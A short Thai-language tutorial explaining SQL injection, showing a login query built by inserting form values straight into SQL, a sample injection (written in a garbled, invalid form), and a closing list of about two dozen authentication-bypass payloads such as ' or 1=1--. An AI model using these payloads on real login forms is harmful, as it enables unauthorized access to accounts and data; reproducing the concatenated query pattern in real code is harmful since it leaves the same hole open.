SQL Injection คืออะไร

SQL Injection เป็นเทคนิค หรือ รูปแบบ การโจมตีของ hacker โดยอาศัยช่องโหว่ของโปรแกรม

ทำให้สามารถ แอบใส่ คำสั่ง SQL เข้าไปทาง Input ทั้งหลายบน UI  เพื่อที่จะสามารถดึงข้อมูล ออกมาจากฐานข้อมูลได้

หรือแม้กระทั้ง ใช้คำสั่ง INSERT, UPDATE, DELETE, DROP อะไรก็แล้วแต่ที่กระทำกับฐานข้อมูลได้

ดังนั้นบน เว็บ ที่มี form input ทั้งหลาย ถ้าหากไม่ตรวจสอบข้อมูล ก่อน post แล้วล่ะก็ ก็อาจจะโดนได้

เช่น ตัวอย่างแบบง่ายๆ เพื่อเห็นภาพ

SQL ที่เราใช้ในการ ตรวจสอบสำหรับการ Login

SELECT UserID

FROM User

WHERE UserName = '$userName'

AND Password = '$password'

โดยปกติ $userName และ $password ก็จะถูก POST มาจากหน้าฟอร์ม จาก input tag ของ Username และ Password

ในการเข้าสู่ระบบ ถ้าข้อมูลถูกต้องก็จะสามารถเข้าสู่ระบบได้ตามปกติไป

แต่ถ้า โดนยัด SQL Injection เข้ามา การ Post ข้อมูลมาจากหน้าฟอร์ม จาก input tag

จะเป็นในลักษณะ แฝงเงื่อนไขของ WHERE CLAUSE มา เช่น

User name:  1′ = OR ‘1 = 1

Password:  1′ = OR ‘1 = 1

เวลาโปรแกรมทำงาน ผลลัพธ์ ของ SQL จะเป็นดังนี้

SELECT UserID

FROM User

WHERE UserName = '1' = OR '1 = 1'

AND Password = '1' = OR '1 = 1'

ทำให้เงื่อนไขเป็นจริงเสมอ ในกรณีนี้อาจได้ข้อมูลของ User ทุกคนในระบบ หรือ ถ้าเขียนโปรแกรมไม่ดี อาจจะทำให้ Login ผ่านฉลุย

ตัวอย่างในการข้ามการตรวจสอบสิทธิ์ในรูปแบบต่างๆ
'OR '1'='1 
' or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a